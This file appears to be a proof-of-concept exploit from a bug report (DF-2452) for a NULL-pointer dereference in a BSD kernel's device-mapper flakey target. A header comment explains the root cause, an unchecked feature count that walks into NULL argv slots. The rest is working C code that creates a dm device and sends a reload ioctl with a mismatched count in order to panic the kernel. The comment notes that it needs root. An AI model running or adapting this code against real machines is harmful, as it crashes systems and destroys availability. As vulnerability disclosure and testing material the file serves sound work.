DF-2452 / poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 | /* * DF-2452 PoC -- dm_target_flakey NULL-deref via mismatched feature_cnt. * * Bug (sys/dev/disk/dm/flakey/dm_target_flakey.c): * * _init_features(dm_target_flakey_config_t *tfc, int argc, char **argv): * * 128: if (argc == 0) * 129: return 0; * 131: argc = atoi64(*argv++); <-- re-read feature_cnt from params * 132: if (argc > 6) { <-- only checks upper bound, NOT that * 133: ... actual remaining args >= argc * 134: return EINVAL; * 135: } * 137: while (argc) { * 138: argc--; * 139: arg = *argv++; <-- walks past populated argv slots * ... into the M_ZERO'd NULL tail of the * dm_table_init argv buffer * * dm_table_init (dm_ioctl.c:824) allocates argv with kmalloc(..., M_ZERO) * and fills only the parsed tokens; the rest stay NULL. When the feature_cnt * embedded in the params string claims more features than actually follow, * the while-loop dereferences a NULL slot -> strcmp(NULL, "drop_writes") -> * kernel NULL-deref panic. * * Trigger: reload a "flakey" table with params: * <dev> <offset> <up_int> <down_int> 5 drop_writes * feature_cnt=5 ^ only 1 actual arg follows * * PRIVILEGE NOTE: /dev/mapper/control is 0640 root:operator * (device-mapper.c:181) and dm must be kldload-ed by root. This PoC runs as * root. No unprivileged path (maxx uid 1001 not in operator/wheel). This is * a root->kernel DoS / NULL-deref with no write primitive (valid hard blocker * for uid0 -- read-fault-equivalent NULL deref). * * Build: cc -O2 -o poc poc.c -lprop * Run: ./poc (as root, after `kldload dm`) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <libprop/proplib.h> #include <dev/disk/dm/netbsd-dm.h> #define DM_CONTROL_DEV "/dev/mapper/control" #define DEV_NAME "df2452dev" #define UNDERLYING_DEV "/dev/md0" static int g_ctlfd = -1; static int send_ioctl(prop_dictionary_t dict) { return prop_dictionary_send_ioctl(dict, g_ctlfd, NETBSD_DM_IOCTL); } static prop_dictionary_t new_dm_dict(const char *command) { prop_dictionary_t dict; prop_array_t ver; dict = prop_dictionary_create(); ver = prop_array_create(); prop_array_add_uint32(ver, 4); prop_array_add_uint32(ver, 0); prop_array_add_uint32(ver, 0); prop_dictionary_set(dict, DM_IOCTL_VERSION, ver); prop_object_release(ver); prop_dictionary_set_cstring(dict, DM_IOCTL_COMMAND, command); prop_dictionary_set_uint32(dict, DM_IOCTL_FLAGS, 0); return dict; } static int do_create(void) { prop_dictionary_t dict = new_dm_dict("create"); prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME); int rv = send_ioctl(dict); prop_object_release(dict); return rv; } static int do_remove(void) { prop_dictionary_t dict = new_dm_dict("remove"); prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME); int rv = send_ioctl(dict); prop_object_release(dict); return rv; } static int do_reload_mismatched_feature_cnt(void) { prop_dictionary_t dict, target_dict; prop_array_t cmd_data; char params[256]; int rv; /* * flakey params: <dev> <offset> <up_int> <down_int> <feature_cnt> <features...> * * We set feature_cnt=5 but provide only ONE actual feature arg * ("drop_writes"). _init_features will loop 5 times but only 1 slot * is populated -> iteration 2 reads NULL -> strcmp(NULL,...) panic. */ snprintf(params, sizeof(params), "%s 0 10 5 5 drop_writes", UNDERLYING_DEV); dict = new_dm_dict("reload"); prop_dictionary_set_cstring(dict, DM_IOCTL_NAME, DEV_NAME); cmd_data = prop_array_create(); target_dict = prop_dictionary_create(); prop_dictionary_set_cstring(target_dict, DM_TABLE_TYPE, "flakey"); prop_dictionary_set_uint64(target_dict, DM_TABLE_START, 0); prop_dictionary_set_uint64(target_dict, DM_TABLE_LENGTH, 2097152); prop_dictionary_set_cstring(target_dict, DM_TABLE_PARAMS, params); prop_array_add(cmd_data, target_dict); prop_object_release(target_dict); prop_dictionary_set(dict, DM_IOCTL_CMD_DATA, cmd_data); prop_object_release(cmd_data); rv = send_ioctl(dict); prop_object_release(dict); return rv; } int main(void) { int rv; g_ctlfd = open(DM_CONTROL_DEV, O_RDWR); if (g_ctlfd < 0) { fprintf(stderr, "[!] open %s: %s\n", DM_CONTROL_DEV, strerror(errno)); fprintf(stderr, " (need root; is `dm` loaded? run: kldload dm)\n"); return 1; } printf("[*] DF-2452 dm_target_flakey NULL-deref via mismatched feature_cnt\n"); printf("[*] params: \"%s 0 10 5 5 drop_writes\" -- feature_cnt=5 but only 1 arg follows\n", UNDERLYING_DEV); printf("[*] _init_features loop reads past populated argv slots into NULL\n"); printf("[*] expect: kernel panic -- NULL deref in strcmp\n"); fflush(stdout); (void)do_remove(); rv = do_create(); if (rv != 0) { fprintf(stderr, "[!] create rv=%d (%s)\n", rv, strerror(rv)); close(g_ctlfd); return 1; } printf("[*] firing reload with mismatched feature_cnt...\n"); fflush(stdout); rv = do_reload_mismatched_feature_cnt(); printf("[!] reload ioctl returned rv=%d (%s) -- kernel survived?\n", rv, rv ? strerror(rv) : "ok"); (void)do_remove(); close(g_ctlfd); return 0; } |